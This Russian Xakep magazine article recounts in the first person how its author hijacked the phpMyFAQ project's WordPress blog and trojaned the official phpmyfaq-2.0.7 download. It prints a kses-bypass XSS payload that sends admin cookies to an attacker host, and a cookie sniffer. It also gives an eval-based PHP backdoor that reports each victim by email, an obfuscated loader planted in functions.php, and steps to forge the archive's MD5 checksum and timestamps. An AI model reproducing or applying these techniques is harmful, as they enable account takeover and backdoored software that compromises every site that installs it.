Троянский конь в PhpMyFaqМаг (icq 884888) Хакер, номер #116, стр. 116-050-1 История протроянивания популярного движкаКак-то раз я наткнулся в Гугле на сайт http://phpmyfaq.de. Это официальная страница движка для создания факов – PhpMyFaq (по аналогии со скриптом менеджера БД PhpMyAdmin). Заинтересовавшись, я решил проверить распространенность движка в инете. По запросу «phpmyfaq» поисковик выдал 828 000 результатов! И тут мне пришла безумная идея: что, если взломать официальный сайт движка, а затем протроянить архивы с PhpMyFaq своим php-шеллом? Поиск путей проникновенияДля справки: PhpMyFaq – это многофункциональная web-система FAQ, написанная на PHP и использующая БД, с поддержкой различных языков (в том числе и русского). При заходе на сайт в глаза сразу же бросается ссылка на devblog разработчиков, на который я, собственно, и перешел. Блог работал на моей любимой платформе WordPress :). Тут ты, наверняка, подумаешь: «Фу, вордпресс, его же может сломать даже ребенок!». Ничего подобного! Утверждение верно лишь для старых версий. В новых, чтобы взломать блог, приходится изрядно повозиться. Итак, открыв html-исходник главной страницы блога, я увидел жизнеутверждающую надпись: «<meta name="generator" content="WordPress 2.3.3" />». На момент написания статьи это была одна из последних версий вордпресса. Полезных паблик-уязвимостей для нее не существует, но на каждую дверь всегда найдется своя отмычка! Немного поразмыслив, я вспомнил о недавнем баге в kses html-фильтрах (опенсорс-библиотека, используемая во многих скриптах, в том числе и вордпрессе). Баг заключался в следующем: при проверке ссылок в комментариях (да и вообще, где угодно) kses-фильтры некорректно обрабатывают начало ссылки – протокол. По задумке разработчиков, kses-фильтр пропустит только ссылки, начинающиеся с http://, ftp://, mail://. Так оно и будет работать, но не всегда :). Путем вставки в линк урлдекодированного символа %0B, мы можем обойти это ограничение. То есть, при постинге комментария с содержимым <a href="%0Bjavascript:alert(document.cookie)">Click here</a> (%0B здесь нужно пропустить через urldecode() ) на таргетной странице мы получим просто javascript-ссылку <a href="javascript:alert(document.cookie)">Click here</a> Так что мне оставалось только закодировать evil-жаваскрипт, дабы избавить его от кавычек, поставить сниффер на свой evil-хост и придумать такую ссылку, которую бы админы с удовольствием кликнули. Перед взломомЯдовитая строка у меня получилась такая: window.location.href='http://myevilhost.com/snif.php?id='+document.cookie; Здесь: http://myevilhost.com/snif.php?id= – мой сниффер, принимающий входящие кукисы через параметр id. Его содержимое, скорее всего, тебе до боли знакомо: <?php $id = $_GET["id"]; $file = fopen('log.txt', 'a'); fwrite($file, $id ); fclose($file); ?> <script>history.go(-1)</script> Under constructionПолученные кукисы сразу же записываются в log.txt, и серфер перенаправляется обратно на страницу блога. Далее было необходимо зашифровать мою ядовитую строку в url-представление. Для этого я также набросал нехитрый скрипт: <?php $str2hex = urldecode("window.location.href='http://myevilhost.com/snif.php?id='+document.cookie;"); $returnstr=''; for($i=0;$i<strlen($str);$i++) { if($str[$i]=='&') { $returnstr .= "$str[$i]"; } else { $hex=dechex(ord($str[$i])); $returnstr .= "%$hex"; } } print $returnstr; ?> На выходе получилась строка урл-кодированных символов, из которой я и составил свой мега-комментарий (%0B, конечно же, раскодировал перед постингом): Help me! My PhpMyFaq installation does not work correctly :( <a href="%0Bjavascript:%77%69%6e%64%6f%77%2e%6c%6f% 63%61%74%69%6f%6e%2e%68%72%65%66%3d%27%68%74%74%70% 3a%2f%2f%6d%79%65%76%69%6c%68%6f%73%74%2e%63%6f%6d% 2f%73%6e%69%66%2e%70%68%70%3f%69%64%3d%27%2b%64%6f% 63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b">my faqdesc</a> И, как ни странно, отзывчивые разработчики «пхпмайфака» буквально на следующий день кликнули по моей ссылке. ПроникновениеПроснувшись, я сразу полез на свой дедик проверять log.txt и увидел в нем жизнеутверждающую строку: wordpressuser_1307522524cd4b36efbb9978596d45d7=support;wordpresspass_ 1307522524cd4b36efbb9978596d45d7=0c90dc4b44d73f4122933f2b17bf3db7 Видимо, это были кукисы одного из админов блога :). Теперь мне оставалось только вставить их в Оперу. Что я и сделал с помощью встроенного редактора кукисов (Инструменты-Дополнительно-Cookies). Зайдя в админку блога http://devblog.phpmyfaq.de/wp-admin, я убедился, что полученные кукисы были действительно админские, так как никакого урезания прав даже близко не наблюдалось. Отсюда я пошел в раздел управления плагинами и убедился, что админам вообще не знакомо понятие безопасности. Единственный плагин блога – Akismet (антиспам-плагин) – был открыт на запись (впоследствии выяснилось, что абсолютно все файлы на сервере доступны для записи), чем я немедленно и воспользовался, вставив в его код шелл собственного написания. Теперь он был доступен по адресу http://devblog.phpmyfaq.de/wp-admin/?popa. Далее я стал искать дистрибутивы PhpMyFaq для скачивания. Таковые нашлись на пару директорий выше в ./../../download. Последней стабильной версией движка был phpmyfaq-2.0.7.zip. Его-то я и решил протроянить :). Для этой нехитрой цели я установил скрипт на свой локалхост и наобум взял один файл для опытов – ./inc/functions.php. Теперь нужно было лишь придумать механизм, уведомляющий о том, что новая жертва устанавливает протрояненный дистрибутив себе на хост – и похитрее его замаскировать (и сам шелл, само собой). Неплохо было бы сделать так, чтобы во время установки движка какой-нибудь служебный файл (пустой) записывался в /tmp, а на мое мыло приходил бы отчет с адресом жертвы. Файл в /tmp нужен был, чтобы мыло не приходило каждый раз, когда кто-нибудь зайдет на страницы скрипта :). И я взялся за программную реализацию. КодингВышеизложенные идеи я уместил всего лишь в нескольких строчках кода: if(!is_file("/tmp/sess_php001")) { mail("Moe_milo@mail.ru", "New shell of PhpMyFaq ". getenv("SERVER_NAME").getenv("SCRIPT_NAME"), getenv("SERVER_NAME").getenv("SCRIPT_NAME")); } $fp=fopen("/tmp/sess_php001","w"); fputs($fp,1); fclose($fp); isset($_GET[viewnewest]) ? eval(trim(stripslashes($_GET[viewnewest]))) : ""; Объясняю: если файла /tmp/sess_php001 не существует, скрипт шлет мыло на мой адрес с урлом жертвы, затем создает файл /tmp/sess_php001. Если существует параметр $_GET[viewnewest], то он исполняется, как php-код. Все гениальное просто :). Теперь мой код необходимо было зашифровать. Я поступил с ним так: 1. Пропустил через base64_encode(); 2. Перевел все полученные символы в chr-представление $returnstr=''; for($i=0;$i<256;$i++) { $arr[chr($i)]=$i; } for($i=0;$i<strlen($str);$i++) { $i!=(strlen($str)-1) ? $returnstr .= $arr[substr($str,$i,1)].',' : $returnstr .= $arr[substr($str,$i,1)]; } print $returnstr; 3. Сериализовал строку с помощью serialize(); 4. Закодировал в урл-представление с помощью urlencode(); 5. Случайным образом разбил строку в массив. В результате этих извращений получилось что-то вроде: array('a%3A444%3A%7Bi%3A0%3Bi%3A68%','3Bi%3A1%3Bi%3A81%3Bi%3A2%3Bi%3A112%3Bi%3A3%3Bi%3A112%', ....... 'i%3A122%3Bi%3A28%3Bi%3A90%3Bi%3A29%3Bi%3A88%3Bi%3A30%3Bi%3A78%3Bi') Ты смог бы расшифровать такое? :) Имхо, любой кодер просто забьет на такую строку, если вдруг случайно увидит ее. Затем последовали финальные штрихи. В файл functions.php, а именно – в function mkts($datum=false,$zeit=false), я вставил следующий код, который расшифровывал и исполнял мою очередную evil-строку: $cleanurl=array('a%3A444%3A%7Bi%3A0%3Bi%3A68%', '3Bi%3A1%3Bi%3A81%3Bi%3A2%3Bi%3A112%3Bi%3A3%3Bi%3A112%', ....... 'i%3A122%3Bi%3A28%3Bi%3A90%3Bi%3A29%3Bi%3A88%3Bi%3A30%3Bi%3A78%3Bi'); $cleanstring = ''; for ($i = 0;$i < count($cleanurl);$i++) { $cleanstring .= $cleanurl[$i]; } $cleanstring = unserialize(urldecode($cleanstring)); $cleanurl = ''; for ($i = 0;$i < count($cleanstring);$i++) { $cleanurl .= chr($cleanstring[$i]); } eval(base64_decode($cleanurl)); В том же скрипте я преднамеренно создал вызов функции mkts(). Левел комплит!Заново перепаковав архив phpmyfaq-2.0.7.zip, я залил его в директорию downloads и изменил время модификации файла обратно на May 12 08:41 командой touch -t 200805120841.10 phpmyfaq-2.0.7.zip. Оставалось поколдовать над соседним файлом phpmyfaq-2.0.7.zip.md5, который содержал md5-хэш архива предыдущей непротрояненной версии скрипта в формате «2f2f51ed114bf512e57fc76b7ecbd39c *phpmyfaq-2.0.7.zip». Новый хэш архива (c4838a94897d9840ead97050c6dc1a46), полученный с помощью встроенной в php функции md5file(), я и записал вместо старого! Не забыл изменить и время модификации второго файла. После этой нехитрой операции протроянивания ко мне на мыло постоянно приходят ссылки на новые шеллы. Что, в общем-то, мне и требовалось. А тебе пожелаю быть очень внимательным с опенсорсными движками. Не я, так кто-нибудь другой сможет незаметно подсунуть тебе троянского коня в красивой обертке. Конец :). Те, кто установил протрояненный дистрибутив к себе на хост, понемногу стали подозревать что-то неладное. На официальном форуме движка http://forum.phpmyfaq.de зачастую можно увидеть топики следующего содержания: Привет, моя версия phpmyfaq, которую я скачал с вашего сайта, выдает следующий бред: Warning: mail() [function.mail]: SMTP server response: 550 <moe_milo@mail.ru>... Recipient unknown in directory\phpmyfaq\inc\functions.php(1504) : eval()'d code on line 4 Warning: fopen(/tmp/sess_php001) [function.fopen]: failed to open stream: No such file or directory in directory\phpmyfaq\inc\functions.php(1504) : eval()'d code on line 6 Warning: fputs(): supplied argument is not a valid stream resource in directory\phpmyfaq\inc\functions.php(1504) : eval()'d code on line 7 Warning: fclose(): supplied argument is not a valid stream resource in directory\phpmyfaq\inc\functions.php(1504) : eval()'d code on line 8 Thanks in advance. Мыло в этом сообщении выглядит подозрительно, что делать? Во избежание происков таких подозрительных личностей с включенным php safe-mode и кастрированным sendmail'ом я убрал свой злонамеренный код из дистрибутива за номером 2.0.7 и вставил его по той же технологии в дистрибутив 1.6. Скачивают его меньше и, соответственно, реже замечают что-то неладное. Будь осторожен, если вдруг захочешь поставить себе PhpMyFaq версии 1.6! Хотя и насчет 2.0 тоже не могу обещать, что в скором времени не вставлю туда что-нибудь нехорошее :). WWW
DANGERИнформация предоставляется исключительно к размышлению. Никакая часть статьи не может быть использована во вред. В обратном случае ни автор, ни редакция не несут какой-либо ответственности за возможный ущерб, причиненный вашими действиями. |